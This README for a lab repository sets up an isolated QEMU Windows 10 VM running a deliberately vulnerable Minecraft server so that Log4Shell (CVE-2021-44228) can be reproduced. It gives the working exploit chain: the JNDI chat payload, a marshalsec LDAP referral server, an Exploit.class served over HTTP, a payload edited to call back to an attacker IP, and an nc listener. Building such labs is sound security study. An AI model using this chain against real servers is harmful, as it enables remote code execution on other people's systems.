This repository contains a lab environment to reproduce and analyze the Log4Shell (CVE-2021-44228) vulnerability on a Minecraft server running inside a Windows 10 virtual machine.
Ensure you have the following installed on your host system:
- QEMU and KVM for virtualization
- genisoimage to build the installer ISO
- curl to download resources
- Maven and JDK to compile the exploit payloads
- A Windows 10 installation ISO (placed in the root directory as
Windows 10 Build 14393.iso)
downloads/holds downloaded Java and Minecraft server files.exploit/contains the marshalsec LDAP reference server and the payload code.scripts/contains automation shell scripts to download resources, build ISOs, and run the VM.
This is the main path: everything runs on a single machine and reproduces Log4Shell from the host itself. No host network configuration is required. If you instead want many computers on a LAN to reach the server, do this section first, then see Multi-host LAN setup.
Run the script to fetch the vulnerable Minecraft server and OpenJDK ZIP for Windows:
./scripts/download_resources.shRun the script to compile the staging files and build the installer ISO:
./scripts/build_installer_iso.shThis builds minecraft_installer.iso, which contains a setup script configured to disable online mode verification and launch the server with vulnerable JNDI codebase lookup properties enabled.
Start the Windows 10 VM inside QEMU:
./scripts/run_vm.shBy default the script uses QEMU user-mode networking: the VM lives behind a private 10.0.2.0/24 NAT and the host forwards port 25565, so no host-side network setup is needed.
Install Windows 10 on the VM. Once installed, mount the minecraft_installer.iso CD-ROM drive, run the setup_server.bat file to install the Minecraft server and Java, and start the run_server script inside C:\minecraft.
Compile the exploit package using Maven in the exploit folder:
cd exploit
mvn clean package -DskipTestsSetup something like this:
Trigger the exploit by entering the JNDI lookup string into the Minecraft chat:
${jndi:ldap://<host-ip>:<ldap-port>/Exploit} // For me it's ${jndi:ldap://10.0.2.2:1389/Exploit}
Then you will see a calculator pop up!
Use this section only when you want other computers on the same LAN to connect to the server and each reproduce the exploit, with the result returning to their own machine.
The default user-mode (10.0.2.0/24) networking cannot serve multiple LAN hosts: every forwarded client appears to the server as 10.0.2.2, the VM has no direct route to individual LAN hosts, and SLIRP would also hand the VM an internet route (which triggers Windows Update). So for the multi-host case the VM is bridged directly onto the physical LAN instead.
Create a bridge br0 over the physical NIC (eno1 here) with NetworkManager. The host keeps its own IP/DHCP via the bridge:
sudo nmcli connection add type bridge ifname br0 con-name br0 \
ipv4.method auto ipv6.method ignore
sudo nmcli connection add type ethernet ifname eno1 master br0 con-name br0-eno1
sudo nmcli connection down "Wired connection 1"
sudo nmcli connection up br0Allow QEMU's bridge helper to attach to it:
sudo mkdir -p /etc/qemu
echo 'allow br0' | sudo tee /etc/qemu/bridge.conf
sudo chmod u+s /usr/lib/qemu/qemu-bridge-helper # if not already setuidNET_MODE=bridge ./scripts/run_vm.sh # override the bridge name with BRIDGE=In the Windows VM, set a static IPv4 address on the LAN subnet but leave the gateway and DNS blank:
- IP address:
192.168.1.200(any free address on the LAN) - Subnet mask:
255.255.255.0 - Default gateway: (leave empty)
- DNS servers: (leave empty)
With no default gateway the VM cannot route off-subnet, it never reaches the internet and Windows Update never fires. LAN clients now join the server at 192.168.1.200:25565.
Each LAN member runs their own toolkit, substituting their own LAN IP (192.168.1.50 below):
- Edit
exploit/Exploit.java, set the callback host to your IP, recompile:Socket socket = new Socket("192.168.1.50", 8080);
- Serve the class:
python3 -m http.server 80from the directory holdingExploit.class. - Run the LDAP referrer pointing at your own HTTP:
java -cp exploit/target/marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer "http://192.168.1.50/#Exploit" 1389 - Listen for the callback:
nc -nvlkp 8080. - In Minecraft chat:
${jndi:ldap://192.168.1.50:1389/Exploit}.
Shutdown everything first, then undo the bridge:
sudo nmcli connection down br0
sudo nmcli connection delete br0-eno1
sudo nmcli connection delete br0
sudo nmcli connection up "Wired connection 1"Optionally remove the bridge-helper permission and config (harmless to leave):
sudo chmod u-s /usr/lib/qemu/qemu-bridge-helper
sudo rm -f /etc/qemu/bridge.conf
